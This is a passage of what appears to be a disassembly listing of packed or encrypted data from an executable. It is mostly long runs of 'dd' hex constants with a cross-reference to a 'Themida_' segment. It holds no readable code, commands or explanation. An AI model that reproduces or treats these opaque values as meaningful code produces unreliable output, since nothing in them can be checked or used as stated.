		dd 7C0D4F0Fh, 0AAB27CC7h, 0D72159A6h, 0ABBFAB4Fh, 4FC75FBBh
		dd 6E6F9679h, 475D7962h, 64DF4692h, 133931FDh, 53D36EB7h
		dd 0A5B1A72Ah, 0C34F4D4Fh, 88B4CC6Ch, 0B26DB9AFh, 0D397C34Fh
		dd 0E636A4C0h, 8C02CE6Eh, 0A0EAA6DCh, 9BBCA881h, 8BAC77C3h
		dd 99758CD8h, 556BCDA4h, 0B427E3E7h, 0BA55E46Eh, 69B5AD8Eh
		dd 70BCAEEFh, 134686A2h, 65D8A350h, 1A2Dh, 341C687Ch, 361E6A63h
		dd 351F6B65h, 361E6A64h, 361E6A65h, 451A9F27h, 4B1E3FF9h
		dd 4F0455FFh, 52085903h, 264A4E06h, 120B544Ah, 0B1FDD856h
		dd 2C785586h, 115D75E2h, 0EB014316h, 0BFBA717Dh, 43F4498Eh
		dd 0FF6F7B8Ch, 2D560EBFh, 76D23BD2h, 0FFB9010Dh, 0C44EB94Eh
		dd 0DA14998Ch, 0DAF6526Ah, 4FD72F0Dh, 259ABE5Fh, 6A356A98h
		dd 4F7CA5C3h, 557D4D1Ah, 9B0BDF7Dh, 994FC7B0h, 3F5D9C76h
		dd 0B2850375h, 0F6526ADAh, 0D0E841DAh, 0D884AB46h, 552D57C7h
		dd 55AE78AEh, 0D9166B18h, 83DD9F0h, 4BF90F31h, 98ECC37Fh
		dd 2A16F944h, 230D5911h, 0F6146072h, 31F90D74h,	6E3B1A45h
		dd 0BD000019h, 0C0E15BA7h, 0BEDF59A5h, 0A5F65EAAh, 0A2F35DA9h
		dd 68F761ADh, 0B602DD62h, 0B804DD7Eh, 0C00CDF80h, 0C713C798h
		dd 9E5098Dh, 56120B95h,	81F23C97h, 327E5369h, 30516DDBh
		dd 93738975h, 0D1C59364h, 634FC7A1h, 84CD72BCh,	0ACC09CB4h
		dd 498F85AFh, 979AC25Dh, 697FC131h, 6028EFFBh, 0BB564FD7h
		dd 68B4AC8Dh, 7E3533CEh, 0BFDC0F32h, 74C09D7Dh,	35A058Bh
		dd 6BC201C2h, 0F05AF1FDh, 6D94DD56h, 0C7DD5FB2h, 895D599h
		dd 9EC7DF0Fh, 59B07BC7h, 0AFA394B0h, 0B2A8F963h, 12ACC866h
		dd 0BE695F73h, 18C85Fh,	0F9451700h, 0FB471E3Fh,	0FC482041h
		dd 0FF4B0354h, 0FF4B0455h, 7B00C655h, 7F201864h, 65361E6Ah
		dd 693A226Eh, 0A72B2571h, 0BF76783h, 9E355612h,	1D698194h
		dd 0D7ED4F22h, 6E645569h, 0F6402922h, 8DE0F37Eh, 82DE4149h
		dd 4F338159h, 59FB4DF4h, 7E2A12FBh, 0AC188E62h,	0F51C5612h
		dd 0ABED5119h, 0EA6E5612h, 9E182BAh, 9C9C93BDh,	8D14D884h
		dd 0BB4FD9DAh, 0E3D4E854h, 0C996A0ECh, 0CC98C00Ch, 5E6ADCF0h
		dd 67CA4FC7h, 87D38ACBh, 0AE7FA0BCh, 1681AC05h,	0B2A8B581h
		dd 0AF78C49Ch, 0E763B35Ah, 0C2CCBB6Bh, 181F8479h, 7E6E0000h
		dd 7C590A32h, 81570830h, 845AFB35h, 885F0038h, 0BD05143Ch
		dd 69D31F38h, 5BD52138h, 73DD293Ah, 6CE43022h, 36284468h
		dd 0F656120Dh, 0E95BD3DFh, 0D05975D3h, 1E498DE0h, 5E746503h
		dd 627E2A12h, 1205188Eh, 19F51C56h, 36124216h, 1205301Ah
		dd 4E053656h, 0FF23802h, 7530831h, 5219559h, 0EC135612h
		dd 1C8F1D22h, 47561205h, 5DFA4591h, 14ED3682h, 65DE2A23h
		dd 0AC57AE04h, 0EC62A191h, 5B3C63D7h, 39ACh, 55B4200h
		dd 0ED5D71CFh, 3F4FC6B2h, 554D67E0h, 124FC6B3h,	586BE124h
		dd 2B54F111h, 1Ah, 0B31D96C3h
		dd 1E1E4FC6h, 91965A06h, 0C3498EBAh, 8FA8F45Ch,	69C08BD7h
		dd 0E95B77CDh, 465975D3h, 0A8498E9Ch, 0C9A1BE89h, 4786497Bh
		dd 0CE373637h, 0D11D3566h, 0E22E2956h, 6A865A86h, 560ECFF4h
		dd 0B7BD938h, 29560ED0h, 32DB273Ch, 0C5115FE8h,	0D0E1D599h
		dd 0AC53560Eh, 0A515F062h, 0CD849AB4h, 0D18EA881h, 3263CD19h
		dd 64BD420h, 2E421E36h,	4FD6D631h, 43143CE3h, 5C08438Fh
		dd 1E905C80h, 0E4FC6CAh, 0C9F165F3h, 0DC434FC6h, 2D031A52h
		dd 99EF37F0h, 0C10DC53Ah, 0C814C697h, 0BA06E07Fh, 6AA9BF71h
		dd 0A791DDF5h, 0AC98E4F6h, 0B5067F53h, 0C1B44F9Bh, 0D075C188h
		dd 2D7B789h, 0DDF14FB6h, 0C1C57D72h, 980EE2FEh,	9CCE457Dh
		dd 0DC67B3ABh, 90929C85h, 0C496C771h, 9A6DBBAEh, 0B8589880h
		dd 0CF58B158h, 0B26DB9B0h, 50C50056h, 0B9B0899Ah, 4D6FDF6Dh
		dd 62BDCE45h, 0ADC19DCBh, 0CE454DB9h, 0C169B5B0h, 0DB7CD45Eh
		dd 0A970BB07h, 0F7E38197h, 85BE0ADEh, 49DA929Ch, 0A3C80D32h
		dd 7542777Ah, 83C633Eh,	0DD1F0804h, 0EE3A132Bh,	1546EE17h
		dd 1E36F13Dh, 0D7FCDA24h, 2D9D784Eh, 3C07530Ch,	560C49E5h
		dd 6E825E0Ah, 0B7FCD9F8h, 1539D53Ch, 8438F44h, 1A667B5Ch
		dd 3C885F00h, 327E5403h, 459146F9h, 0BD186EFAh,	0FB449048h
		dd 0E22EFF26h, 9893DFF9h, 10F365B1h, 0D47CC89Bh, 0BB84D083h
		dd 0AD76C29Ch, 35260F5Bh, 580B5EE9h, 11F8337Fh,	0FB705305h
		dd 9CC09CE8h, 0FCDADED0h, 67B34EB7h, 71BDAEEFh,	0CBE163B6h
		dd 0E60C19Dh, 0C240CBFh, 0CF60CF22h, 2904EE34h,	0FD013125h
		dd 51C03B7h, 0EAAE4129h, 0A180B1C4h, 3194EAA6h,	0ED5BA7BCh
		dd 69C511CCh, 529EB4E5h, 1ABA8DF6h, 45780AB8h, 458E3529h
		dd 0F118F7BEh, 6B7F2025h, 0D9307C55h, 68AB034Eh, 0A993DFF3h
		dd 6FF0ECF7h, 4397C3h, 344D0000h, 0C0779679h, 94E0F6EBh
		dd 819BA16Dh, 19421E6Ah, 0EA362B41h, 0B4EF743h,	19452339h
		dd 2C062E08h, 593EEB40h, 0F3AE5919h, 7955F31Fh,	4FC6E605h
		dd 462E0827h, 498EC635h, 2D302807h, 1Fh, 7C5586E1h, 0FE277366h
		dd 0E4302334h, 3C885F78h, 34044DF2h, 3B2C401Ch,	0F9498E9Ah
		dd 4F641E16h, 0F10739B9h, 95B07753h, 23FE498Eh,	0D3DADC45h
		dd 0FBE0FBD8h, 0D2C4E01Fh, 9CC1BE18h, 0CE59A5BBh, 0A8989F7Bh
		dd 8398B490h, 693C8A04h, 84B47DC6h, 0FCB3A3A7h,	0A1B64479h
		dd 8F77CA55h, 9FAB9970h, 3E41D463h, 0A5F1E2D3h,	98E4FD9Ah
		dd 0F553BA8Fh, 0C22465D9h, 0CE68C742h, 0B387B55Ch, 0CA58CC4Ah
		dd 7C966596h, 0A3B907DBh, 3A8CA1EEh, 9ABB758Ch,	55A1B2C8h
		dd 808E77CAh, 3E404FD8h, 8E63D29Dh, 0DD000014h,	0E081BB07h
		dd 0DE7FB905h, 0C596BE0Ah, 0C293BD09h, 8897C10Dh, 56A2BD42h
		dd 58A4BDDEh, 60ACBFE0h, 67B3A7F8h, 0A9C5E9EDh,	561210B5h
		dd 86525C77h, 0B320965Ah, 0ED144FC6h, 0B4554921h, 56E64FC6h
		dd 140F5B74h, 6468D42Dh, 498EB4DFh, 0E632280Dh,	3F1D045Dh
		dd 0C6F74516h, 0E6F9C451h, 772810F9h, 700F1864h, 76E02E7Ah
		dd 33CAF33Bh, 141B1508h, 7A6A0000h, 7855062Eh, 7D53042Ch
		dd 80560731h, 845BFC34h, 0B9210038h, 65CF1B34h,	67D11D34h
		dd 5FD92536h, 78E02C3Eh, 42343864h, 0F2561211h,	0E95BCFD3h
		dd 754975D3h, 0B84EBA0Ch, 73019D01h, 4FC76903h,	32F4342Eh
		dd 947A177Ah, 0C2C9A16Dh, 8C498EEFh, 0C79EB7A5h, 0C5A0C17Bh
		dd 0D991AE79h, 564EAF8Dh, 0C9BD9192h, 6B560F73h, 0B9005BC4h
		dd 5F113600h, 7855CA09h, 9A21042Ch, 1CDDF344h, 0C20EC7F0h
		dd 0D8EEE778h, 0CF58B1FDh, 0F4DCEC5h, 41D4356h,	0DAF615BBh
		dd 560EF064h, 0BABE69C8h, 0FA60BA1Ah, 63AFA61Bh, 0D28CADF9h
		dd 0B2ABAC86h, 0AD76C29Ch, 9F72AD54h, 0FED6859Dh, 0B8D7B8D4h
		dd 98AF351h, 0FA940764h, 61C814CAh, 0E4C18DD5h,	5A4FD639h
		dd 0BAB089B7h, 0D599AAA4h, 4FC9BDE1h, 0CA55AC53h, 0FAA68E77h
		dd 0E860EAA9h, 0C48CE88Eh, 7DE7C249h, 63F43EE7h, 1C925E6Fh
		dd 104FCA88h, 4A0F18F1h, 5A86E2FAh, 712F7349h, 57E39AE3h
		dd 919B551Bh, 0B3B7A349h, 560F9CC3h, 0C9778E71h, 86AEFAF0h
		dd 76B1FDD5h, 0A8C1A1A3h, 210C235Ah, 36CFFECFh,	9A5D71CFh
		dd 0DC4FD6F3h, 2E87D535h, 932CCBBh, 12D414h, 0E5312300h
		dd 0E7332A6Bh, 0E8342C6Dh, 0EB372F70h, 0EB373071h, 67ECF271h
		dd 6B2C2470h, 71322A76h, 55062E7Ah, 9307317Dh, 12138347h
		dd 0C2215612h, 0B3299680h, 9B504FC6h, 0AE8EE54Fh, 0E2A6AA96h
		dd 12498DE3h, 706851EFh, 74E73824h, 0AFD67262h,	18B41AD4h
		dd 0EC15A815h, 80542E22h, 54711963h, 206C6455h,	1601916h
		dd 5BAD0000h, 8652CC06h, 0C6B2F16Ah, 74D0374Fh,	0B3128448h
		dd 0FF224FC6h, 3C860933h, 327E5586h, 69472E8h, 55D1035Bh
		dd 2D795586h, 5B275DD2h, 300AC30Ah, 6C805C08h, 4FC742FAh
		dd 1D1BD53Ah, 2FD52F19h, 5B023CD6h, 2358D2E8h, 195380D7h
		dd 746557F1h, 2906105Ch, 3Ch, 0E51BC2DBh, 21047A56h, 9284CC7h
		dd 0F4B6BE1Eh, 0B19893DFh, 5B88BE58h, 8655D103h, 0C6B2F16Ah
		dd 540A3B4Fh, 86252108h, 1B67813Ch, 86BC060Fh, 0F22D7955h
		dd 3310030Fh, 0AE000000h, 55D1035Bh, 6A865A86h,	4FC6B2F4h
		dd 353DD938h, 4FC6B33Eh, 443A162Ah, 0E84FC6B3h,	0D037ED49h
		dd 813C8656h, 60F1B67h,	5397C9DAh, 76AD7695h, 5380A29Ch
		dd 3057F119h, 30h, 0D2E85BC6h, 0F16A8658h, 3B4FC6B2h, 3C864AD4h
		dd 2C186481h, 0B34A3C10h, 47EA4FC6h, 0BC0651EBh, 5A3Fh
		dd 0DC8F100h, 0C0A386C1h, 6BD15DA9h, 58D2E85Bh,	0B2F16A86h
		dd 0D0374FC6h, 44950B74h, 2EEE2E93h, 0ECF2EED5h, 31FD20FDh
		dd 865A860Bh, 0F6317D55h, 0B3514513h, 3CE34FC6h, 55864CF2h
		dd 0F165697Ah, 434FC6B2h, 6CE945DCh, 1E372571h,	0DE43FC48h
		dd 0DA06EA54h, 0A29DE901h, 86C973BFh, 7D5C7F1Dh, 7F9B1C9Bh
		dd 0FFFE929Ch, 0E95B32FFh, 704975D3h, 1E6A647Ah, 3A3F2B07h
		dd 8498DE1h, 3B1F3B29h,	12053F2Fh, 814DED56h, 5612050Dh
		dd 0D29001Fh, 0E64E9A50h, 0FAD6C98Fh, 56120584h, 0C4A089A8h
		dd 1205B6A8h, 1AD17656h, 15EC55CEh, 23271327h, 56120533h
		dd 5C521E01h, 0D0561205h, 0F026F22Fh, 67BEBBBEh, 66DA72CBh
		dd 0FB56124Ah, 0F68E99E5h, 124A64DAh, 0F669C856h, 0C28F98E4h
		dd 63FEA96Ch, 3C209073h, 124A3E30h, 824EEE56h, 56124A0Ch
		dd 37280120h, 1648D21Eh, 5B3CA889h, 576CCE2Fh, 560B566Ah
		dd 566BBCh, 86030000h, 30EF321Dh, 8D43110Dh, 0A230641h
		dd 0F54E4430h, 3F134FC6h, 6C6455F3h, 0F8422720h, 7DB4460h
		dd 2AEF0581h, 0A224A2EDh, 0C613C689h, 41C065Dh,	3ED838D8h
		dd 0C6CD3D36h, 263EFE4Fh, 86FD263Ah, 73C48499h,	0F9026AC4h
		dd 33498F7Dh, 0CDF164CCh, 8D000000h, 75D3E95Bh,	8E937659h
		dd 11C9F249h, 8EB769C5h, 0BBAF90DCh, 0B44DB46Fh, 70BCAF88h
		dd 78C497C8h, 0C0DA6AAFh, 2CB34BB5h, 67D52C16h,	40A72A53h
		dd 66CF66A5h, 3E5A40BDh, 610D810h, 0D65BD76Eh, 0B1F8154Fh
		dd 3320AF0Ch, 0EF388456h, 2E1AF31Ah, 2945560Dh,	4FC9D335h
		dd 1AEF18F7h, 0A4E718F5h, 45163EE7h, 5B09428Eh,	1A667Ah
		dd 53F10739h, 18226E62h, 91D1804Ch, 40194991h, 0E93FDB27h
		dd 25411A46h, 1FFB4ED9h, 0F4401243h, 0FB471B3Ch, 0F3A8D71Bh
		dd 0A499E2CAh, 0F79h, 90C814C8h, 92CA16CFh
		dd 91CB17D1h, 92CA16D0h, 92CA16D1h, 11C64B93h, 17CA8BC5h
		dd 1BD091CBh, 1E3465CFh, 2A766AD2h, 12153026h, 0DDE10456h
		dd 80536981h, 4500334h,	43FE63Bh, 70697F53h, 0E742FD24h
		dd 0ABBF348Fh, 54A0015Fh, 99105284h, 10520610h,	54F1CB73h
		dd 5010h, 0C093C400h, 0B0E1B272h, 0AF56DA56h, 0BB818D74h
		dd 75D3E95Bh, 0F6408C44h, 9EC9626Eh, 0FC23498Eh, 283E1443h
		dd 55CE733h, 0C1B5C31Ah, 966F3F6Fh, 99E5FD9Eh, 8C5F68Eh
		dd 15D983BCh, 560EC6A1h, 79956C93h, 0D26E86B6h,	0D6A719FEh
		dd 3CF41B4Fh, 18648102h, 1A667F20h, 222E122Eh, 4FC6B32Ch
		dd 63532100h, 0D14FC6B3h, 515BE42Eh, 4FC6B364h,	5C0E5C0Fh
		dd 0FB395AAEh, 3C68D039h, 0D602E3h, 73BF06BFh, 0F8647CBCh
		dd 8E2D81F4h, 0F450AF49h, 97C10DC3h, 6BDBEFCBh,	0FE5611D1h
		dd 0BFA29DE9h, 0C297C867h, 80A29C76h, 54711963h, 1CE20h
		dd 65BB600h, 3A055102h,	0F5B74E7h, 4AD42D14h, 66815A86h
		dd 0DE38111Ah, 0C6B31D96h, 2AF40B4Fh, 9A7C3C86h, 0CF035B0Ch
		dd 0A1DF0CE1h, 0BE88A157h, 0E85BF05Ah, 864A76D2h, 4FC6B310h
		dd 0B31FD24h, 5380D723h, 3057F119h, 0A0h, 82F4F8E4h, 0B24CC6B3h
		dd 0ABF7EC4Fh, 35BB58Fh, 834773D1h, 4FC6B313h, 0EC378356h
		dd 812ED15h, 0F16A863Eh, 754FC6B2h, 2AFC2C0Ch, 0AD423244h
		dd 446CAB12h, 0A3A7956Ch, 4FC6C1B3h, 8E949E81h,	0E5E9D573h
		dd 4FC6C171h, 8C685AC3h, 0BF0066h, 86370D29h, 0D221495Ah
		dd 96A7961Fh, 5A86C27Ch, 0C6B32096h, 21ED144Fh,	0F1CE1C34h
		dd 6121EF5Fh, 805C0821h, 0C7A4FA6Ch, 3BD73A4Fh,	1DA0601h
		dd 0F4A39CE8h, 0AC958EDAh, 0A3EFE255h, 5586AD97h, 0D8AD2F7Dh
		dd 0EF6EEFABh, 3519FC16h, 0B5000000h, 55D1035Bh, 67815A86h
		dd 639101Bh, 0EA3F0854h, 0B32F2450h, 26F94FC6h,	544A263Ah
		dd 0D84FC6B3h, 8667DD39h, 1B67813Ch, 0C9DA060Fh, 0C952E954h
		dd 0D76DC9D5h, 0F1195380h, 0F73C6557h, 97B3F55Ah, 0DB958B3h
		dd 0F354F3B7h, 690627h,	86A00000h, 0E12D7955h, 4BD7ED4Eh
		dd 84495A86h, 96578205h, 0BCAFBB57h, 0AC4FC76Fh, 63AFA790h
		dd 83F381E8h, 0B14FC76Fh, 0FE5EC44Eh, 0D7B1D9A5h, 0E9876787h
		dd 4FC79E75h, 0F2E758B7h, 5DC49DA6h, 815A86E1h,	2A141E6Ah
		dd 2F7B5586h, 0F5B72E3h, 4D410D31h, 0DF4FC6B3h,	0B2FF6F7Bh
		dd 0D22D4FC6h, 665DF3Bh, 273FBCh, 5BD30000h, 4D410DE8h
		dd 0DF4FC6B3h, 865DE940h, 0C6B2F16Ah, 74D0374Fh, 0DB90DD0Bh
		dd 42CC46CCh, 813C86FCh, 60E1864h, 0FE293FBCh, 5BD3FFFFh
		dd 5975D3E9h, 498DE0D0h, 7465031Eh, 532A125Eh, 6569D70Dh
		dd 561204F1h, 4963DC43h, 56120557h, 6DE32210h, 5B3C6352h
		dd 4431h, 0DEF7E300h, 0A287C00Ch, 11FDE0D6h, 61AD5456h
		dd 0B31C96DBh, 8D454FC6h, 1E372341h, 0DD44FF4Bh, 0C6B31F8Fh
		dd 51F20D4Fh, 6CD54E9Ah, 0B5ABAEA2h, 85000000h,	0F4BC4859h
		dd 0D8EDD8BAh, 0C7180A7Ch, 2B072A4Fh, 78558611h, 0ED4FE22Ch
		dd 695569D7h, 0C6B2F165h, 52DC434Fh, 8E93D51Ah,	4CF81749h
		dd 42C786Bh, 0EB348053h, 62FE1626h, 0D601FB8Eh,	6AD6394Fh
		dd 0D54E9A51h, 0A6BAA26Ch, 0CC8298B5h, 0CB62C780h, 0D08DA980h
		dd 3465CF1Bh, 158D31Fh,	2F3B293Fh, 49915702h, 4273D130h
		dd 2108438Fh, 766C4D15h, 0E43D8960h, 0EB372B6Ch, 0F375ED4Bh
		dd 9E7FA8CAh, 0BB9h, 50085408h,	520A560Fh, 510B5711h, 520A5610h
		dd 520A5611h, 0D1860BD3h, 0D78ACB85h, 0DB90D18Bh, 0DEF4A58Fh
		dd 0EA36AA92h, 121970E6h, 1D21C456h, 20965A86h,	144FC6B3h
		dd 1E3421EDh, 70C272D0h, 0A4C05FC0h, 0C7A6D6C8h, 52BB564Fh
		dd 0D68AABD9h, 0FFB60188h, 4AE339E3h, 0EDE42601h, 0B010B0E2h
		dd 0CAA0BD59h, 0E64C57Eh, 786E47B7h, 5D75E22Ch,	6A752711h
		dd 4E54F153h, 8D328F35h, 70CA66CAh, 68BFh, 85497500h, 4FC79F11h
		dd 0D5213223h, 40EF74Ah, 495A863Ah, 91D14CD3h, 0D3C39104h
		dd 614FC701h, 7BBD74BEh, 0BAE3F765h, 2E605A62h,	0F1656996h
		dd 434FC76Fh, 81E945DCh, 498F4FE6h, 51EE39D8h, 0C6EF4D99h
		dd 0DF77C30Fh, 0E760ACBEh, 0AE9AB292h, 0D7315DA2h, 0C8708F4Fh
		dd 0F099839Ch, 0DC8EDC97h, 64816643h, 0A16D9A6Dh, 4E64819Bh
		dd 5C754F9Dh, 62436273h, 0BEFA62CBh, 4FC6C2D1h
		db 98h
byte_5734E9	db 0C3h, 77h, 0BDh	; DATA XREF: Themida_:0054549Co
		dd 92AEC676h, 8DF0D2BEh, 0A5BB9C49h, 9F7BCE59h,	69BAA689h
		dd 8E48CA4Ah, 3D758E9Bh, 25853BE3h, 88B1A985h, 90CC84D0h
		dd 0E0AEA0ACh, 0B4B85611h, 5611E0C2h, 98778F72h, 6380C87Eh
		dd 20547119h, 1A7h, 0CC065BB6h,	0E804C70h, 1E4FC6B3h, 860D3703h
		dd 0C6B2F16Ah, 56D0374Fh, 55863C86h, 73E5317Dh,	35B0391h
		dd 0F05A55D1h, 58D2E85Bh, 2E7A5586h, 86C915E4h,	0E4D7495Ah
		dd 16E816D5h, 0C71E443Ah, 0ED49E84Fh, 0F184446Fh, 653F57h
		dd 5BD70000h, 4273D103h, 1B677A90h, 46D039F2h, 7A558600h
		dd 46E4482Ch, 729B6B9Bh, 9EC650B9h, 0C79AD9D2h,	72AC534Fh
		dd 102B1D86h, 335B3529h, 0E23D503Dh, 265A115Ch,	63C324B3h
		dd 94D06AC3h, 7B55868Ah, 5E72E32Fh, 17459148h, 0C6B36353h
		dd 0D72ED14Fh, 86BC064Bh, 0B320965Ah, 0ED144FC6h, 47F221h
		dd 5B900000h, 8655D103h, 0B320965Ah, 0ED144FC6h, 6D356F12h
		dd 5CB652B6h, 0E7FBDC00h, 5DB9909Bh, 0C6B39E15h, 0A9758C4Fh
		dd 67813C86h, 2D112D1Bh, 0C6B32D21h, 5420FF4Fh,	4FC6B362h
		dd 9EA12DD2h, 0E94BE99Fh, 650F640h, 795586BCh, 6073E12Dh
		dd 2357F119h, 3Eh, 0D2E85BBBh, 865A8658h, 0C6B2F46Ah, 25716D4Fh
		dd 40DF471Ah, 0B3057EF6h, 3E274FC6h, 0FB47DE2Ah, 2F7B5586h
		dd 59010DF4h, 18648167h, 0C9DA060Eh, 0EDDA7CDCh, 1B21ED72h
		dd 5C3Fh, 0E85BD300h, 6A8658D2h, 4FC6B2F1h, 3E8A4475h
		dd 5B151A05h, 0F4DCF413h, 3F1B010Dh, 0BD9FBFDEh, 0F854E454h
		dd 4FC72186h, 6FB804DBh, 0AA8D749Ah, 89E06BB7h,	0BF93C4A0h
		dd 0C551B873h, 495A867Fh, 38B336B5h, 68DE386Ah,	9B4E6481h
		dd 9483964Dh, 60C9CCC9h, 0A9BA9BC9h, 66BD15Dh, 0FE503FBCh
		dd 5BD3FFFFh, 5975D3E9h, 498DE0D0h, 7465031Eh, 5D05115Dh
		dd 317D5881h, 166278E5h, 0D301571Eh, 778D4475h,	3019125Eh
		dd 1FFB4ED9h, 5372743h,	1AF55612h, 5158311h, 785E5612h
		dd 639C279Dh, 28E75B3Ch, 7F000000h, 317D5586h, 0B3158DE5h
		dd 30514FC6h, 0F5C2C8C4h, 53E5F315h, 806380E3h,	1AD08DA9h
		dd 2A034F04h, 9A2F32h, 5BE30000h, 5975D3E9h, 498E9D96h
		dd 2F0B39D8h, 55AA57CEh, 3E1513DFh, 39D039F2h, 1F6B80DDh
		dd 236F6435h, 0D9EF5128h, 47934A6Bh, 510925FCh,	0D61FF07Dh
		dd 85E33E4Fh, 9337F54h,	1B677C5Dh, 418D5EFFh, 0FB113306h
		dd 50D0814Dh, 43DE4991h, 0D11D3425h, 263C1D45h,	294162DAh
		dd 1BF23E13h, 0F36B83FBh, 0D045EECAh, 7F5h, 0C449044h
		dd 0E46924Bh, 0D47934Dh, 0E46924Ch, 0E46924Dh, 8D42C70Fh
		dd 93461741h, 974C0D47h, 9A50114Bh, 0AEF2E64Eh,	121DACA2h
		dd 59658056h, 7E536981h, 4B314D30h, 230AC40Ah, 667D5E0Ah
		dd 42057955h, 8274FC7h,	0F301521h, 35140F5Bh, 0B9B126DDh
		dd 97F0B6Bh, 0D72E2C2Eh, 4F9B5069h, 0E6CF8BC3h,	0C98BA7F3h
		dd 54F13CB6h, 49CDh, 0B81E7F00h, 12C9B64Bh, 5BD76DC9h
		dd 4C420EE9h, 0E04FC6B3h, 0D166277h, 834CD34h, 8EB67344h
		dd 0E55EC149h, 0EB7D3C7h, 57A89456h, 5469FE6Bh,	98BA54DDh
		dd 8ABCC73Dh, 97C75B39h, 7D000000h, 1C198D61h, 0F41B560Fh
		dd 0E95B241Ah, 58045009h, 0C6B32294h, 16EF124Fh, 443A162Ah
		dd 0E84FC6B3h, 0F5411649h, 1F3BD72Ah, 8E9F444Bh, 310FF249h
		dd 3C075308h, 43F449E5h, 0FC727E8Fh, 30560EDEh,	0E75773D1h
		dd 45560EDEh, 481943EAh, 5FFD4692h, 0DEFF6F7Bh,	6E62560Eh
		dd 0EA402922h, 0DEF86E82h, 0D53C560Eh, 0ED4FE22Ch, 645569D7h
		dd 4029226Eh, 0C9B97EF6h, 9354FD6h, 0C6B65145h,	203CE34Fh
		dd 0C6B65A4Ch, 0DB37DA4Fh, 3672EA45h, 24364C05h, 13FA4FD8h
		dd 0B54F3D07h, 24280335h, 4FC6B332h, 5A061F02h,	8E95C996h
		dd 7B4FFB49h, 560EDA0Bh, 0DE1F0629h, 0F9202FC2h, 4A2C0C95h
		dd 85E34A96h, 0CD0BD269h, 332B1C0Fh, 1C055CE7h,	0D6EE4E23h
		dd 0CBA4666Ah, 39D80A04h, 0EC382A0Bh, 0F33F1344h, 852EE123h
		dd 8273BC0Ah, 659h, 0F068B4A8h,	0F26AB6AFh, 0F16BB7B1h
		dd 0F26AB6B0h, 0F26AB6B1h, 0F1E66B73h, 0F7EAABA5h, 0FBF0B1ABh
		dd 0FED485AFh, 0CA168AB2h, 121E9006h, 0FD41A456h, 221D6981h
		dd 250F5B75h, 3A866079h, 519D4EF1h, 69DB5EB8h, 4CD9F553h
		dd 0A2498DE1h, 0C4C0E17Fh, 364CC2E9h, 0DA7DC24Ch, 3E5CBA06h
		dd 7BCAF04Bh, 5F34DB0h,	92420000h, 904D0E46h, 954B0C44h
		dd 984E0F49h, 9CB3E44Ch, 5179E850h, 8DC713CCh, 8FC915CCh
		dd 67D11DCEh, 60D82436h, 2A1C307Ch, 0A56121Fh, 0E95BE7EBh
		dd 0C85975D3h, 60498DE0h, 276A293Fh, 5CB6D9B6h,	0A4FD6BC6h
		dd 705CD15Eh, 0A1A670E7h, 15D9EAFEh, 56121EA1h,	88C30FC8h
		dd 7FA689A1h, 0F03C19AFh, 0E2531CCAh, 589h, 80B804D8h
		dd 82BA06DFh, 81BB07E1h, 82BA06E0h, 82BA06E1h, 0A1B63BA3h
		dd 0A7BADB55h, 0ABC0E15Bh, 0AEA4F55Fh, 0BAE6FA62h, 121FC0B6h
		dd 4D517456h, 75D3E95Bh, 767A8B44h, 4FC6B300h, 0CB34CD34h
		dd 0A2A859AAh, 0CC98A285h, 8EAE6D00h, 0E35CC349h, 0C2509CB4h
		dd 0CAF0C820h, 2AC73601h, 79000005h, 7C1D1763h,	7A1B1561h
		dd 81221A66h, 7E1F1965h, 24331D69h, 0F23E199Eh,	0F440194Ah
		dd 0FC481B3Ch, 34F0354h, 55194559h, 56122061h, 81AEF0D3h
		dd 2E7C5369h, 7864D066h, 789178D6h, 8EDA90AFh, 0A4F0E295h
		dd 95E1FC9Bh, 68DEF28Ah, 0CC4FC72Fh, 966DC365h,	10F349EBh
		dd 0C17BC79Bh, 9BB4CAA0h, 0A7F3EC4Fh, 0DFF9E27Eh, 65B19893h
		dd 2FDFD4E0h, 2304FC7h,	509C4EC3h, 99AF91E8h, 5DC69FABh
		dd 957C498Eh, 0AEA293A7h, 88388A60h, 0F31A2B1Ah, 0D8243627h
		dd 0DF2B3F60h, 152B0D64h, 0B5D2327h, 84AB4FD9h,	14D804D8h
		dd 4FC72CA2h, 17CC6F92h, 8DA980CBh, 0ECC1AD0h, 0A49C0C72h
		dd 0FED7859Ch, 0A016DAEBh, 944FC761h, 0B48B946Dh, 0E6C675C8h
		dd 0F33FE6E9h, 0DC283A5Bh, 0B6341F80h, 8EE38E32h, 0C676BB84h
		dd 0A2AE92AEh, 4FC722ACh, 0B2FED780h, 9D799079h, 0F66A9C5h
		dd 89A8498Fh, 0F31503A9h, 0F0650ECAh, 421h, 8307C70h, 0A327E57h
		dd 9337F59h, 0A327E58h,	0A327E59h, 392EB31Bh, 3F1243EDh
		dd 431849F3h, 461C3DF7h, 125E42FAh, 1221483Eh, 0C509EC56h
		dd 307C5586h, 156179E6h, 0D590E27h, 5AE32F12h, 5FD9253Dh
		dd 34102818h, 8E924B18h, 36C2DB49h, 0D73424h, 216D64D7h
		dd 31F74326h, 481172CEh, 7834466Fh, 3904CB34h, 68906802h
		dd 0EACB79CEh, 6980ABF7h, 0D0ED67B3h, 514921EDh, 16560F35h
		dd 546FE520h, 2F5B3993h, 43h, 9E95BC7h,	0E247004Ch, 0E0411D4Bh
		dd 5322D124h, 23B8534Ah, 0B5F12123h, 0F64D25F1h, 72498F3Bh
		dd 0C660C811h, 0C551B451h, 0E983BC63h, 560F5171h, 8F05C0F6h
		dd 5B39B3F4h, 0E28Fh, 39144500h, 811B21EDh, 0B66B1B69h
		dd 86C88669h, 0DCF3A49Fh, 61C814C6h, 55A1B9E6h,	69B5ADCAh
		dd 0CD82B3EFh, 9707E381h, 954FC73Dh, 0A1D4A07Ah, 0C44FC741h
		dd 7DA6C20Eh, 52F9A5FBh, 90C85245h, 0A0ECE3D4h,	0E25DA9BFh
		dd 0B0A2B37Fh, 8E4F864h, 4FC6C096h, 9BF07996h, 6D516DEEh
		dd 6CC57A94h, 0C488B4CCh, 498EB4AFh, 95C6A27Dh,	52B770BCh
		dd 97A990C8h, 2607E381h, 2C4FD404h, 52835705h, 16EB3480h
		dd 6430262Ah, 1D044FC9h, 3F8B4411h, 3F8B4415h, 0B9E6FBEFh
		dd 8075BECCh, 2B9h, 50085408h
		dd 520A560Fh, 510B5711h, 520A5610h, 520A5611h, 0D1860BD3h
		dd 0D78ACB85h, 0DB90D18Bh, 0DEF4A58Fh, 0EA36AA92h, 122270E6h
		dd 1D21C456h, 221A6681h, 3F1D6981h, 0B35F4F1Bh,	32CD4FC6h
		dd 5B1670E8h, 5975D3E9h, 498E9E82h, 72FA45ECh, 560EDEF8h
